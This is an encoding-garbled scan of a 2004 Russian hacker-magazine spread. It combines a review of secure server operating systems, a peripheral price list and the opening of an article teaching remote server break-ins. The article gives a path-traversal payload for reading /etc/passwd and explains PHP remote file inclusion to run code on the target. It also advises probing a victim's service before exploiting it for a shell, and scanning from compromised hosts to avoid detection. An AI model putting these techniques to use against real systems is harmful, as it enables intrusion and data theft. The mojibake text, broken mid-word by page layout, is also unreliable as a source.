êîòîðîãî ïîìèìî òåõ æå ïàò÷åé (SeLinux, RSBAC) ñóùåñòâóþò öåëûå
ïðîåêòû (Gentoo SeLinux), íàïðàâëåííûå íà ïîñòðîåíèå çàêîí÷åí-
íîé ñèñòåìû, óäîâëåòâîðÿþùåé ñîâåðøåííî íîâîìó ïî êà÷åñòâó
êëàññó áåçîïàñíîñòè.»

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

Ñòàíäàðòíàÿ çâîíèëêà QNX. Ïðîñòàÿ è
î÷åíü ìîùíàÿ

Ðàáî÷èé ñòîë â QNX. Ïîðòèðîâàííûé mc çàïóùåí â
êîíñîëè

Gentoo
Linux âçÿë
âñå ëó÷øåå
è îò BSD -
ñêðèïòû
èíèöèàëèçà-
öèè è ñèñ-
òåìó ïîð-
òîâ, è îò
Linux -
ïðîñòîòó è
óäîáñòâî.



íóæäû - ýòî òîëüêî ÷àñòü âîçìîæíîñ-
òåé Gentoo. Îäíàæäû óñòàíîâèâ è
íàñòðîèâ ñèñòåìó, ìîæíî íàäîëãî çà-
áûòü î ïîääåðæàíèè ñåðâåðà â áîåñ-
ïîñîáíîì ñîñòîÿíèè. Ó íàøåãî ïèíã-
âèíà åñòü âñòðîåííûå ñðåäñòâà îá-
íîâëåíèÿ è óñòàíîâêè ÏÎ ïðÿìî èç
èíòåðíåòà, áåç ó÷àñòèÿ àäìèíèñòðàòî-
ðà! Èìåííî ïîýòîìó ÿ ñ÷èòàþ Gentoo
ñàìûì ñåêüþðíûì äèñòðèáóòèâîì
Linux íà ñåãîäíÿøíèé äåíü. Äîêàæó
òåáå ýòî, ðàñêðûâ ñóùíîñòü ïðîöåññà
îáíîâëåíèÿ ÎÑ. Óñòàíîâêà íîâîãî ÏÎ
íà ìàøèíó ñ Gentoo ïðîèñõîäèò ñ ïî-
ìîùüþ óòèëèòû emerge. Ïðèíöèï ðà-
áîòû ýòîé ïðîãðàììû î÷åíü ïðîñò:
êîãäà root (èëè ñrond) îòäàåò êîìàíäó
�emerge Èìÿ_Ïðîãðàììû�, ñèñòåìà
èäåò â èíòåðíåò, ñêà÷èâàåò ñîðöû
ýòîé ïðîãðàììû ñ ñàéòà ïîääåðæêè
Gentoo, êîìïèëèðóåò è óñòàíàâëèâàåò
áèíàðíèêè. Âñå ïðîèñõîäèò â ïîë-
íîñòüþ àâòîìàòè÷åñêîì ðåæèìå. À
åñëè ó÷åñòü, ÷òî ñîôò äëÿ Äæåíòó îá-
íîâëÿåòñÿ ïðàêòè÷åñêè êàæäûé äåíü,
òî òû ïîéìåøü, ÷òî ãðàìîòíûé àäìèí
è Gentoo Linux ñîçäàäóò ñóïåðñåêü-
þðíûé ñåðâåð. Äîñòàòî÷íî îäèí ðàç
ðàçîáðàòüñÿ âî âñåì è íàñòðîèòü, ê
ïðèìåðó, òîò æå Apache, à ïîòîì çà-
ïèñàòü â Crontab êîìàíäó �emerge
Apache� íà åæåäíåâíîå âûïîëíåíèå,
è âñå! Âçëîìàòü ñèñòåìó ÷åðåç óÿçâè-
ìîñòü â Apache ñòàíåò ïðàêòè÷åñêè
íåâîçìîæíî (íà êàæäûé íåóÿçâèìûé
Àïà÷ íàéäåòñÿ ñâîé ïðèâàòíûé
ýêñïëîèò :) - ïðèì. AvaLANche'à)!

FREEBSD
www.freebsd.org

Âîò äîáðàëèñü è äî ïðÿìûõ ïîòîì-
êîâ UNIX. Ïîæàëóé, FreeBSD � ýòî ñà-
ìûé èçâåñòíûé êëîí UNIX íà ñåãîäíÿ.
Ðàçðàáîò÷èêè ýòîé ñèñòåìû ñòàðàþòñÿ
âûïóñêàòü òîëüêî ñòàáèëüíûå è õîðî-
øî îòëàæåííûå ïðîäóêòû. Èìåííî ïî-
ýòîìó, õîòÿ âñÿ ñèñòåìà äîñòóïíà â èñ-
õîäíûõ êîäàõ, äîáàâëÿòü ïàò÷è è íî-
âûå âîçìîæíîñòè â ÿäðî ìîãóò òîëüêî
ðàçðàáîò÷èêè, âõîäÿùèå â îôèöèàëü-
íóþ ãðóïïó ïîääåðæêè ïðîåêòà. Ýòî
îòëè÷àåò FreeBSD îò âñåõ îñòàëüíûõ
ñèñòåì Open Source. Ñîçäàòåëè íàöå-
ëèâàþò ñâîé ïðîäóêò íà ñåðâåðíûé
ðûíîê: âî âðåìÿ óñòàíîâêè ó òåáÿ áó-
äóò ñïðîøåíû íå òîëüêî ñåòåâûå ïà-
ðàìåòðû, íî è òî, êàêèå ñåðâèñû òåáå
íåîáõîäèìû, è äàæå áóäåò ïðåäëîæå-
íî îðãàíèçîâàòü FTP-äîñòóï ñðàçó
ïîñëå èíñòàëëà. Ïðè ïåðâîì çàïóñêå
íåîáõîäèìî íà÷àòü îáóñòðàèâàòü çà-
ùèòó ñåðâåðà. Ñèñòåìà ïîçâîëèò ïðî-
âåñòè êîå-êàêèå íàñòðîéêè è ñ ïî-
ìîùüþ óòèëèòû /stand/sysinstall. Íî
òàì ïðåäñòàâëåí î÷åíü è î÷åíü ñêóä-
íûé íàáîð èíñòðóìåíòîâ. Âñþ íàñò-
ðîéêó ÎÑ íóæíî ïðîâîäèòü ðó÷íîé
ïðàâêîé êîíôèãîâ. È õîòÿ ðàçðàáîò-
÷èêè ïîñòàðàëèñü ñíàáäèòü FreeBSD
ïîäðîáíîé äîêóìåíòàöèåé íà àíã-
ëèéñêîì ÿçûêå, îíè íå ó÷ëè òîãî, ÷òî
äëÿ ñîçäàíèÿ çàùèùåííîãî õîñòà íå-
îáõîäèìî çàòðàòèòü îãðîìíîå êîëè÷å-
ñòâî âðåìåíè íà ïåðåëîïà÷èâàíèå
êîíôèãóðàöèîííûõ ôàéëîâ. À åñëè
òû íå ïðîôåññèîíàë, òî è íà ÷òåíèå
îãðîìíîé êó÷è äîêóìåíòàöèè. Èñïîëü-
çîâàíèå åå íà ñåðâåðå îïðàâäàííî
òîëüêî â òîì ñëó÷àå, åñëè òâîè çíàíèÿ
èìåííî ýòîé ñèñòåìû òåáå ýòî ïîçâî-
ëÿþò. Ñòàáèëüíîñòü õîñòà ïîä
FreeBSD áóäåò îïðåäåëÿòüñÿ íå áåçã-
ëþ÷íîñòüþ ñîôòà, à ãðàìîòíîñòüþ àä-
ìèíà. Ïðàêòè÷åñêè âñå âçëîìû ýòîé
ÎÑ èìåëè â ñâîåé îñíîâå íå îøèáêè â
äåìîíàõ, à íåïðàâèëüíîå àäìèíèñòðè-
ðîâàíèå. ß áû íå ðåêîìåíäîâàë ñòà-
âèòü Ôðÿõó àäìèíàì ñðåäíåé ðóêè �
ìîæåò íå õâàòèòü âðåìåíè íà ðåàëè-
çàöèþ ìå÷òû î çàùèùåííîì ñåðâåðå.
Çëûå íåãîäíèêè ïîëîìàþò ñèñòåìó,
ïðåæäå ÷åì àäìèí óñïååò ðàçîáðàòü-
ñÿ ñî âñåìè òîíêîñòÿìè íàñòðîéêè.

OPENBSD
www.openbsd.org

OpenBSD - îáùåïðèçíàííûé ëè-
äåð ïî áåçîïàñíîñòè. Òåêóùàÿ âåð-
ñèÿ - 3.5. Óñòàíîâêà ýòîé ñèñòåìû
ïðîòåêàåò àíàëîãè÷íî óñòàíîâêå
âñåõ îñòàëüíûõ BSD ñ òåì ëèøü îò-
ëè÷èåì, ÷òî âñå ïðîíèçàíî äóõîì áå-
çîïàñíîñòè. Ïîñëå èíñòàëëà îñòàåòñÿ
íå òàê óæ ìíîãî: ñêà÷àòü è óñòàíî-

âèòü íåîáõîäèìûå äåìîíû. Ïðîñòî â
OpenBSD ñòàâèòñÿ òîëüêî ñàìîå íå-
îáõîäèìîå äëÿ çàïóñêà. Âñå äîïîë-
íèòåëüíûå äåìîíû è ñåðâèñû àäìè-
íèñòðàòîð äîáàâëÿåò è íàñòðàèâàåò
ñàì, è ýòî, ïî-ìîåìó, ëó÷øèé ïîäõîä
ê áåçîïàñíîñòè. Êðîìå òîãî, â îñíîâå
OpenBSD ëåæàò òùàòåëüíî ïðîâå-
ðåííûå è îòëàæåííûå èñõîäíûå êî-
äû, åæåäíåâíûé àóäèò ïðîãðàììíîãî
îáåñïå÷åíèÿ ïðèíîñèò ñâîè ïëîäû:
çà íåñêîëüêî ïîñëåäíèõ ëåò íå áûëî
çàðåãèñòðèðîâàíî íè îäíîãî âçëîìà
(â äåôîëòîâîé êîíôèãóðàöèè). Ñóù-
íîñòü àóäèòà OpenBSD äîñòàòî÷íî
ïðîñòà: ñóùåñòâóåò íåáîëüøàÿ ãðóï-
ïà âûñîêîêâàëèôèöèðîâàííûõ IT-
ñïåöèàëèñòîâ, êîòîðûå ïîñòîÿííî
àíàëèçèðóþò èñõîäíûå êîäû âñåé
ñèñòåìû. È åñëè ó÷èòûâàòü, ÷òî îíè
ïðåäëàãàþò òîëüêî áàçîâóþ êîíôè-
ãóðàöèþ, òî ìîæíî âåðèòü, ÷òî ïðî-
âåðêà áóäåò ïðîâåäåíà î÷åíü êà÷åñò-
âåííî. Ïðåäåëüíî ñèëüíàÿ âíóòðåí-
íÿÿ çàùèòà ïîäêðåïëÿåòñÿ ïåðåðà-
áîòàííûì è óñëîæíåííûì êîìïëåê-
ñîì Firewall. È äîïîëíÿåò îáùóþ êàð-
òèíó óêðåïëåííîñòè ñîáñòâåííûé
ñàéò, íà êîòîðîì åæåäíåâíî âûñòàâ-
ëÿþòñÿ âñå îáíîâëåíèÿ äëÿ òåêóùåé
âåðñèè ñèñòåìû. Íåïðèõîòëèâàÿ ê
êâàëèôèêàöèè àäìèíà êàê IT-ñïåöèà-
ëèñòà, OpenBSD çàâîåâûâàåò ðûíîê
çà ñ÷åò ñâîåé ïîäãîòîâëåííîé ãðà-
ìîòíîé íàñòðîéêè. Òàêèì îáðàçîì,
ëó÷øèì ñåêüþðíûì äèñòðèáóòèâîì
ëèíåéêè BSD ÿâëÿåòñÿ OpenBSD: äëÿ
ìàñòåðîâ îíà ïîêàæåò ìîùü è ñòà-
áèëüíîñòü UNIX ñ âîçìîæíîñòüþ ãèá-
êîé íàñòðîéêè, à äëÿ íîâè÷êîâ - çà-
ùèùåííîñòü è îòêàçîóñòîé÷èâîñòü
ïðÿìî �èç êîðîáêè�. 

QNX
www.qnx.com

ß íå ñëó÷àéíî ïîñòàâèë ýòó ÎÑ
ïîñëåäíåé â îáçîðå � îíà íå êëîí
UNIX. Ýòî ñàìîñòîÿòåëüíàÿ ÎÑ, è
î÷åíü çàíÿòíàÿ. Ðàçðàáîòêè ýòîé
ñèñòåìû âåäóòñÿ óæå áîëåå äâàäöà-
òè ëåò. Ïðîåêò ïîëíîñòüþ çàêðûòûé,
êîììåð÷åñêèé. Ëèöåíçèÿ íà QNX äëÿ
ðàçðàáîò÷èêà ñòîèò 6000$. ß íå
îøèáñÿ - èìåííî äîëëàðîâ, öåíà æå
ïîëíîé âåðñèè ïåðåâàëèâàåò çà 15
êèëîáàêñîâ. Íî ñóùåñòâóåò íåêîì-
ìåð÷åñêàÿ âåðñèÿ, äîñòóïíàÿ áåñï-
ëàòíî. Â ñâîáîäíîé âåðñèè åñòü
ïðàêòè÷åñêè âñå íåîáõîäèìîå äëÿ
ðàáîòû äàííîé ÎÑ íà ñåðâåðå, âêëþ-
÷àÿ ñðåäñòâà äëÿ ñáîðêè GNU-ïðîã-
ðàìì. Ñàìîå ãëàâíîå â ýòîé ñèñòåìå
� òî, ÷òî îíà ïîëíîñòüþ îòâå÷àåò
òðåáîâàíèÿì ÎÑ ðåàëüíîãî âðåìåíè,
òî åñòü ÿäðî â ïðèíöèïå íå ìîæåò
çàâèñíóòü íè ïðè êàêèõ îáñòîÿòåëü-

Â îñíîâå OpenBSD ëåæàò õîðîøî 
ïðîâåðåííûå è îòëàæåííûå èñõîäíûå êîäû.
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Ïåðâûì
ñòàáèëüíûì
ðåëèçîì
FreeBSD
ïÿòîé âåòêè
ñòàíåò
FreeBSD
5.3. Äàòà
âûõîäà � 
3 îêòÿáðÿ
2004 ãîäà.
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Âûáèðàåì óðîâåíü áåçîïàñíîñòè
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OpenBSD
ïðåäñòàâëÿ-
åò ñîáîé
ìèíèìàëüíî
íåîáõîäè-
ìûå êîìïî-
íåíòû ñèñ-
òåìû, íî
îíè ïðå-
äåëüíî ñòà-
áèëüíû.



ñòâàõ ;). È, êðîìå ýòîãî, äàííàÿ ÎÑ ãàðàíòèðóåò îòâåò ñåð-
âåðà ÷åðåç î÷åíü ìàëûé ïðîìåæóòîê âðåìåíè. Çà âñþ
èñòîðèþ QNX íå áûëî íàéäåíî íè îäíîé óÿçâèìîñòè â
êîäå ñèñòåìû. Ñðàçó âèäåí ñåðüåçíûé ïîäõîä ïðîãðàì-
ìèñòîâ QSSL. Êàê âèäèøü, ïîêà âñå ïðîñòî èäåàëüíî. Íî
ýòî âñå îòíîñèòñÿ ê ñàìîé ñèñòåìå. Ñâîåãî æå ÏÎ, íåîá-
õîäèìîãî äëÿ ñîçäàíèÿ ïîëíîöåííîãî ñåðâåðà, ó íåå íåò.
QNX èñïîëüçóåòñÿ â îñíîâíîì âî âñòðàèâàåìîì îáîðó-
äîâàíèè, äëÿ óçêîñïåöèàëèçèðîâàííûõ çàäà÷ íà ïðîèç-
âîäñòâå. Íî îòñóòñòâèå ñîôòà èìåííî äëÿ QNX íèêîãî íå
îñòàíîâèëî: ÿ âñå ÷àùå âñòðå÷àþ íà ïðîñòîðàõ ðóíåòà
àäìèíîâ-ýíòóçèàñòîâ, çàïóñêàþùèõ ñåðâåðà íà åå áàçå.
Äà è ñàì, ÷åãî ñêðûâàòü, ïåðåâåë ñâîé web-ñåðâåð íà ýòó
ñèñòåìó è ïîêà íèñêîëüêî íå æàëåþ. Èòàê, ÷òî íóæíî äëÿ
ñîçäàíèÿ ñóïåðçàùèùåííîãî ñåðâåðà ðåàëüíîãî âðåìå-
íè íà áàçå QNX? Ñàìîå ãëàâíîå � ýòî äèñòðèáóòèâ ñèñòå-
ìû. Äëÿ íàøåé çàäà÷è âïîëíå äîñòàòî÷íî NE (Non-
Commercial) âåðñèè, êîòîðàÿ ïîñòàâëÿåòñÿ íà 1 CD. Ñóùå-
ñòâóåò íåñêîëüêî ñïîñîáîâ ïîëó÷åíèÿ ýòîãî äèñêà. Ïåð-
âûé - ñêà÷àòü ñ îôèöèàëüíîãî ñàéòà www.qnx.com îáðàç
äèñêà è çàïèñàòü åãî ñàìîìó. Â ýòîì âàðèàíòå åñòü íåï-
ðèÿòíûå ìîìåíòû: ñëèâàòü íàäî îêîëî 300 ìåãîâ, ïðè-
÷åì âûêà÷àòü íàäî çà îäèí ðàç âñå - äîêà÷êà íå ïîääåð-
æèâàåòñÿ. Êðîìå òîãî, ñêîðîñòü ñêà÷êè äîëæíà áûòü íå
ìåíüøå 10 Êá â ñåêóíäó, èíà÷å èõ ñåðâåð áóäåò çàêðû-
âàòü ñåññèþ è ïðèäåòñÿ íà÷èíàòü âñå ñ íà÷àëà. Äðóãîé
âàðèàíò - ïîïðîáîâàòü ïîëó÷èòü ïî ïî÷òå áåñïëàòíî
ïîëíóþ âåðñèþ QNX äëÿ âóçîâ (íàïðÿãè äåêàíà - è áóäåò
òåáå ñ÷àñòüå!) (âñÿ èíôîðìàöèÿ íà ñàéòå www.swd.ru). È,
íàêîíåö, ñàìûé ïðîñòîé è äîñòóïíûé ïóòü � çàêàçàòü
êíèãó �Îïåðàöèîííàÿ ñèñòåìà ðåàëüíîãî âðåìåíè QNX:
îò òåîðèè ê ïðàêòèêå�, êîòîðàÿ ïðîäàåòñÿ âî ìíîãèõ èí-
òåðíåò-ìàãàçèíàõ, ïðè÷åì îáîéäåòñÿ òåáå îíà âìåñòå ñ
äèñêîì íå äîðîæå 250 ðóá. Ïîñëå ïðîñòîé èíñòàëëÿöèè
òû ïîïàäåøü â ñàìóþ áûñòðóþ è ñòàáèëüíóþ ÎÑ. Âñå
ñîâðåìåííûå âåðñèè ïîääåðæèâàþò TCP/IP-ïðîòîêîë â
ïîëíîé ìåðå, ïîýòîìó òåáå îñòàíåòñÿ òîëüêî óñòàíîâèòü
è îòêîíôèãóðèðîâàòü ñåðâåðíîå ÏÎ. Êñòàòè, ïîëó÷èòü
âåñü íåîáõîäèìûé ñîôò ìîæíî ëèáî íà ñòðàíè÷êå îäíî-
ãî èç ó÷àñòíèêîâ ïðîåêòà www.qnx.org.ru, ëèáî ñîáðàâ åãî
ñàìîñòîÿòåëüíî èç èñõîäíèêîâ, âåäü ñèñòåìà POSIX-ñîâ-
ìåñòèìà. Ýòà îñü, ïîæàëóé, ëó÷øèé âûáîð, íî òîëüêî
äëÿ ïðîôåññèîíàëîâ è òåõ ëþäåé, êîòîðûå ãîòîâû áî-
ðîòüñÿ ñ òðóäíîñòÿìè.

ÕÅÏÏÈ ÝÍÄ
Âîò è âñå, ÷òî ÿ õîòåë ðàññêàçàòü î äèñòðèáóòèâàõ ñå-

ãîäíÿøíèõ äíåé. Ïîäâåäåì èòîãè. Ñðåäè Linux-ñáîðîê ñà-
ìûé ëó÷øèé âûáîð äëÿ çàùèùåííîãî õîñòà � ýòî Gentoo
Linux. Åñëè íóæíî ïîñòàâèòü áûñòðî è áîëåå-ìåíåå êà÷å-
ñòâåííî ñåðâåð è íåò çíàíèé èëè æåëàíèÿ ñàìîìó ñîçäà-
âàòü çàùèòó - Mandrake 10 Official ñ ìàêñèìàëüíûì óðîâ-
íåì áåçîïàñíîñòè î÷åíü äàæå íåïëîõ. Åñëè òû ïîêëîííèê
äåìîíà, òâîé âûáîð èñêëþ÷èòåëüíî OpenBSD - ðàçðàáîò-
÷èêè î÷åíü õîðîøî ïîçàáîòèëèñü î ñîçäàíèè ñåêüþðíîé
ñèñòåìû. Äëÿ ëþáèòåëåé ñëîæíûõ ïóòåé � QNX. Åå èñ-
ïîëüçîâàíèå õàðàêòåðèçóåòñÿ îòñóòñòâèåì çàâèñàíèé
ñåðâåðà, è ìèêðîÿäåðíàÿ ñèñòåìà ðåàëüíîãî âðåìåíè ãà-
ðàíòèðóåò òåáå ýòî. E

Ñðåäñòâî óñòàíîâêè è íàñòðîéêè FreeBSD
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Êëàâèàòóðà/ Auravision
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Keyboard

$865,99  

Øëåì i-O Display Systems
i-glasses HRV 

$199,99   

$219.99  

Âèáðîæèëåò
Aura Systems 
Interactor Vest 

$849,99  

Øëåì/ i-O Display
Systems i-glasses

SVGA 

$89,99    

Master Pilot w
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Äæîéñòèê/ CH Flight
Sim Yoke USB 

Ïåäàëè/CH Pro
Pedals USB 

Êëàâèàòóðà/ Microsoft
Wireless Optical Desktop 
for Bluetooth 

$219.99

$149,99   

Äæîéñòèê
CH FlightStick Pro USB

PC Accessories

(095) 928-6089 (095) 928-0360 (095) 928-3574
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èïè÷íàÿ îøèáêà íà÷èíàþùå-
ãî âçëîìùèêà çàêëþ÷àåòñÿ â
òîì, ÷òî îí íàñòîé÷èâî ïûòà-
åòñÿ àòàêîâàòü ñåðâåð îäíèì
åäèíñòâåííûì ñïîñîáîì (íàï-

ðèìåð, WWW-ñêàíèðîâàíèåì). Åñëè ó íåãî íè-
÷åãî íå âûõîäèò, çëîóìûøëåííèê èùåò íî-
âóþ æåðòâó. À çðÿ, âåäü ìîæíî áûëî èñïîëü-
çîâàòü äðóãîé âèä íàïàäåíèÿ è â ðåçóëüòàòå
ïîëó÷èòü êàêèå-íèáóäü ïðàâà íà ìàøèíå.
×èñëî ðàçëè÷íûõ àòàê, êîòîðûå ìîæíî ïðè-
ìåíèòü ê æåðòâå, íåäàëåêî îò íóëÿ, ïîýòîìó
ïðèäåòñÿ â ïîòå ëèöà ùóïàòü ìàøèíó íà íà-
ëè÷èå êðóïíûõ äûðîê.

ÓÄÀËÅÍÍÎÅ ÍÀÏÀÄÅÍÈÅ
Âñå àòàêè íà÷èíàþòñÿ ñ óäàëåííîãî ñáî-

ðà èíôîðìàöèè. Ñïåðâà õàêåð íå âëàäååò íè-
êàêèìè äàííûìè î õîñòå. Íî ïîñòåïåííî çà-
ïàñ çíàíèé óâåëè÷èâàåòñÿ, à â ãîëîâå ñåòå-
âîãî ïàðòèçàíà ïîÿâëÿþòñÿ êàêèå-òî íàìåò-
êè. Âûáðàòü âèä íàïàäåíèÿ � åùå òî èñêóñ-
ñòâî. Ñåé÷àñ ÿ ðàññêàæó îá îñíîâíûõ óäà-
ëåííûõ àòàêàõ, à òàêæå î òîì, êàê èõ ïðà-
âèëüíî îñóùåñòâèòü.

ÎÕÎÒÀ ÇÀ ÁÀÆÍÛÌÈ ÄÅÌÎÍÀÌÈ
Ïåðâûì è, ïîæàëóé, ñàìûì èçëþáëåííûì

ìåòîäîì óäàëåííîãî íàïàäåíèÿ ÿâëÿåòñÿ
àòàêà ñ ïðèìåíåíèåì ýêñïëîèòà ê óÿçâèìîìó
ñåðâèñó. Íî ïðåæäå ÷åì àòàêîâàòü ýòîò óÿç-
âèìûé ñåðâèñ, åãî åùå íåîáõîäèìî îáíàðó-
æèòü. À ýòî íå âñåãäà ïðîñòî ñäåëàòü. Ïðåïÿ-
òñòâèÿ ìîãóò áûòü êàêèìè óãîäíî � ðàçëè÷íî-
ãî ðîäà ïðîãðàììû, çàùèùàþùèå òà÷êó îò
ñêàíèðîâàíèÿ ïîðòîâ, óìíûå àäìèíû, ïîäìå-
íÿþùèå áàííåðû ñåðâèñîâ, íàñòðîåííûé
(èëè ÷àñòè÷íî íàñòðîåííûé) áðàíäìàóýð, êî-
òîðûé ðåæåò íåçâàííûå ïàêåòû. Çà ìîþ íå-
äîëãóþ ñåòåâóþ æèçíü ìíå ïðèõîäèëîñü
ñòàëêèâàòüñÿ ñ ðàçíûìè òðóäíîñòÿìè, íî ýòî
åùå íå ãîâîðèò î íåóÿçâèìîñòè äåìîíà.

Åñòü îäíà õàêåðñêàÿ ìóäðîñòü: ëó÷øåå ñêà-
íèðîâàíèå � ðó÷íîå ñêàíèðîâàíèå :). Ýòî ÷àñ-
òè÷íî òàê - ñêàí âðó÷íóþ èçáàâëÿåò îò íåãà-
òèâíîãî âëèÿíèÿ ðàçëè÷íûõ àíòèïîðòñêàíå-
ðîâ, óñòàíîâëåííûõ àäìèíîì íà ñåðâåðå.
Êîãäà ìíå õî÷åòñÿ íàéòè ñåðâåð ñ óÿçâèìûì
ñåðâèñîì cvs è ïðîáèòü åãî íîâûì ýêñïëîè-
òîì, ÿ íèêîãäà íå áóäó ñêàíèðîâàòü âåñü äèà-
ïàçîí ïîðòîâ íà ìàøèíå. Çà÷åì? ß ïðîñòî
âûïîëíþ êîìàíäó «telnet victim.com 2401» è
ïðîâåðþ íàëè÷èå äåìîíà íà òà÷êå. Çàòåì
áåñøóìíî çàïóùó ñïëîèò è ïîëó÷ó èñêîìûé

øåëë. Åñëè äàæå ñåðâèñ ïðîïàò÷åí, íèêàêèõ
ñëåäîâ ÿ íå îñòàâèë, ïîñåìó îáâèíèòü ìåíÿ â
äåñòðóêòèâíûõ äåéñòâèÿõ íèêîìó íå óäàñòñÿ. 

Åñëè ïðèíÿòî ðåøåíèå ñêàíèðîâàòü ñåðâåð,
äåëàòü ýòî ëó÷øå ñ áåçîïàñíîãî ìåñòà. Äî-
âîëüíî ãëóïî ïîëüçîâàòüñÿ ðàçëè÷íûìè ïðîã-
ðàììàìè òèïà LANGuard íåñìîòðÿ íà óäîáñòâî.
Åñëè õî÷åòñÿ, ÷òîáû ïðîâàéäåð íèêîãäà íå óç-
íàë î ôàêòå ñêàíèðîâàíèÿ (íå åãî, à óäåëåííî-
ãî ñåðâåðà), çàïóñêàé nmap â íåâèäèìîì ðåæè-
ìå íà äàëåêîì ðóòøåëëå. Âïðî÷åì, LANGuard
îïðàâäûâàåò ñåáÿ, áóäó÷è çàïóùåííûì íà õàê-
íóòîé Âèíäå â òåðìèíàëüíîé ñåññèè :).

Áûâàåò, ÷òî âåðñèÿ äåìîíà îòëè÷àåòñÿ îò
áàæíîé. Òåì íå ìåíåå, ñòîèò ïîïðîáîâàòü
íàòðàâèòü ýêñïëîèò íà ìàøèíó, èáî íåêîòî-
ðûå îñîáî àêòèâíûå ñèñàäìû îáîæàþò ïîä-
ìåíÿòü áàííåðû ñâîèõ ñåðâèñîâ. ß óæå ïè-
ñàë î òîì, êàê îòëè÷èòü ïîääåëüíûé áàííåð
îò ïîäëèííîãî (XSpeZ OS4Hack), ïîýòîìó
ïîâòîðÿòüñÿ íå áóäó.

Èñïîëüçîâàíèå ýêñïëîèòà � êëàññè÷åñêèé
âçëîì, íî ÷àñòî ñåòåâîìó ïàðòèçàíó íå ïî çó-
áàì õàêíóòü ñåðâåð ýòèì ñïîñîáîì (ê ïðèìå-
ðó, èç-çà ôàåðâîëà). Òîãäà ïðèõîäèòñÿ ïðè-
áåãàòü ê äðóãèì, ìåíåå áëàãîäàðíûì ñïîñî-
áàì âçëîìà. Íàïðèìåð, ê ñêàíèðîâàíèþ web-
ñêðèïòîâ.

ÊÐÈÂÎÉ ÑÊÐÈÏÒ � ÊËÞ× Ê ÑÅÐÂÅÐÓ
Ïîíÿâ, ÷òî ïðîñêàíèðîâàòü ïîðòû ñåðâå-

ðà íå óäàåòñÿ äàæå âðó÷íóþ, âçëîìùèê ìî-

Ò

Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Ã ðàìîòíûé âçëîìùèê íèêîãäà íå îãðàíè÷èâàåòñÿ îäíîé íåóäàâøåéñÿ àòàêîé.
Îí ïûòàåòñÿ íàéòè êîíêðåòíûé ïîäõîä ê ñåðâåðó. Â áîëüøèíñòâå ñëó÷àåâ

åìó ýòî óäàåòñÿ. À âñå ïîòîìó, ÷òî îí çíàêîì ñ áîëüøèíñòâîì âèäîâ àòàê è
ïîñëåäîâàòåëüíî ïåðåáèðàåò èõ, ïîêà, íàêîíåö, íåñ÷àñòíûé ñåðâåð íå
ïîä÷èíèòüñÿ çàâåòíîé êîìàíäå.
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æåò îáðàòèòü âíèìàíèå íà WWW-çîíó
ñåðâåðà. Â 90% ñëó÷àåâ ïîðò 80 æåðò-
âû áóäåò îòêðûòûì, à âñå ïîòîìó, ÷òî
öåëü äàííîãî ñåðâåðà � çàíÿòíûé web-
ïðîåêò, êîòîðûé âïîëíå ìîæåò ñîäåð-
æàòü äûðÿâûå ñêðèïòû.

Â íàøå âðåìÿ âñòðåòèòü ñòàòè÷åñêèé
êîíòåíò ñàéòà î÷åíü ñëîæíî, ïîýòîìó
ó çëîóìûøëåííèêà áîëüøå øàíñîâ
íà óñïåõ. Áûâàåò, ÷òî ïåðâîêëàññíûé
àäìèí âîçîìíèò ñåáÿ web-ìàñòåðîì è
íàïèøåò òàêîé ñêðèïò, çàùèòà êîòîðî-
ãî îñòàâëÿåò æåëàòü ëó÷øåãî. Ýòèì
õàêåð è âîñïîëüçóåòñÿ! Îäíàêî îí
äîëæåí óìåòü áûñòðî îòëè÷àòü áàæ-
íûé ñêðèïò îò íîðìàëüíîãî.

Â ïåðâóþ î÷åðåäü íóæíî îáðàùàòü
âíèìàíèå íà ïàðàìåòðû, ïåðåäàííûå
ñöåíàðèþ ìåòîäîì GET - òàêèå ñêðèï-
òû ñðàçó âèäíî. Íàïðèìåð, ïîïðîáî-

âàòü íåìíîãî èçìåíèòü çíà÷åíèå îï-
öèè íà íàçâàíèå ñèñòåìíîãî ôàéëà.
Òîëüêî ñëåäóåò äåëàòü çàìåíó ðàçóì-
íî. Äîïóñòèì, ïðèñóòñòâóåò ïàðàìåòð
file, ðàâíûé article1. Åñëè ïîïðîáîâàòü
ìîäèôèöèðîâàòü çíà÷åíèå íà ÷òî-íè-
áóäü òèïà «../../../../../etc/pass-
wd%00», ìîæåò óëûáíóòüñÿ óäà÷à.
Âåäü íóëë-áàã ñóùåñòâóåò äàæå â
ïîñëåäíåé âåðñèè Perl.

Â ñëó÷àå ñ PHP ìîæíî ïîýêñïëóàòè-
ðîâàòü áàãè, õàðàêòåðíûå äëÿ ýòîãî
èíòåðïðåòàòîðà. Åñëè âäðóã âñòðåòèò-
ñÿ îïöèÿ page=blabla, ìîæíî çàìó-
òèòü êàê îòêðûòèå ñèñòåìíîãî ôàéëà,
òàê è cross-side-àòàêó. Äëÿ ýòîãî ñîç-
äàåòñÿ PHP-ôàéë ñ ëþáûì êîäîì íà
äðóãîì ñåðâåðå è ïåðåäàåò ññûëêà íà
íåãî â êà÷åñòâå ïàðàìåòðà. Ïðè õîðî-
øåì ðàñêëàäå ñêðèïò çàãðóçèòñÿ, à

åãî ñîäåðæèìîå áóäåò âûïîëíåíî íà
àòàêóåìîì ñåðâåðå.

Ýòà èíôîðìàöèÿ � ëèøü àçû âçëîìà
÷åðåç WWW. Õî÷åøü óçíàòü áîëüøå ïî
õàêó ñöåíàðèåâ - ÷èòàé ñòàòüþ ïðî óäà-
ëåííîå âûïîëíåíèå êîìàíä, à òàêæå
ïîäïèøèñü íà íîâîñòè áàãòðàê-ëåíò.

Åñëè õàêåðó âåçåò, îí áûñòðî íàõî-
äèò óÿçâèìûå ôàéëû. Íî áûâàåò, ÷òî
âñå ñöåíàðèè íåóÿçâèìû. Â ýòîì ñëó-
÷àå âçëîìùèê îáÿçàòåëüíî ïîïðîáó-
åò ïðîñêàíèðîâàòü web-ñåðâåð íà íà-
ëè÷èå áàæíûõ ñêðèïòîâ. Çäåñü åìó
ïîìîæåò îáû÷íûé WWW-ñêàíåð, êàêèõ
â èíåòå ðàçâåëîñü âåëèêîå ìíîæåñò-
âî. Îò ñåáÿ ìîãó ïîðåêîìåíäîâàòü
ïåðëîâûé ñêðèïò cscan.pl
(kamensk.net.ru/1/x/cscan.tar.gz), ïîçâîëÿþ-
ùèé ñêàíèòü ìàøèíû ñ ëþáîé *nix-
êîíñîëè. Ýòî óäîáíî è áåçîïàñíî îä-
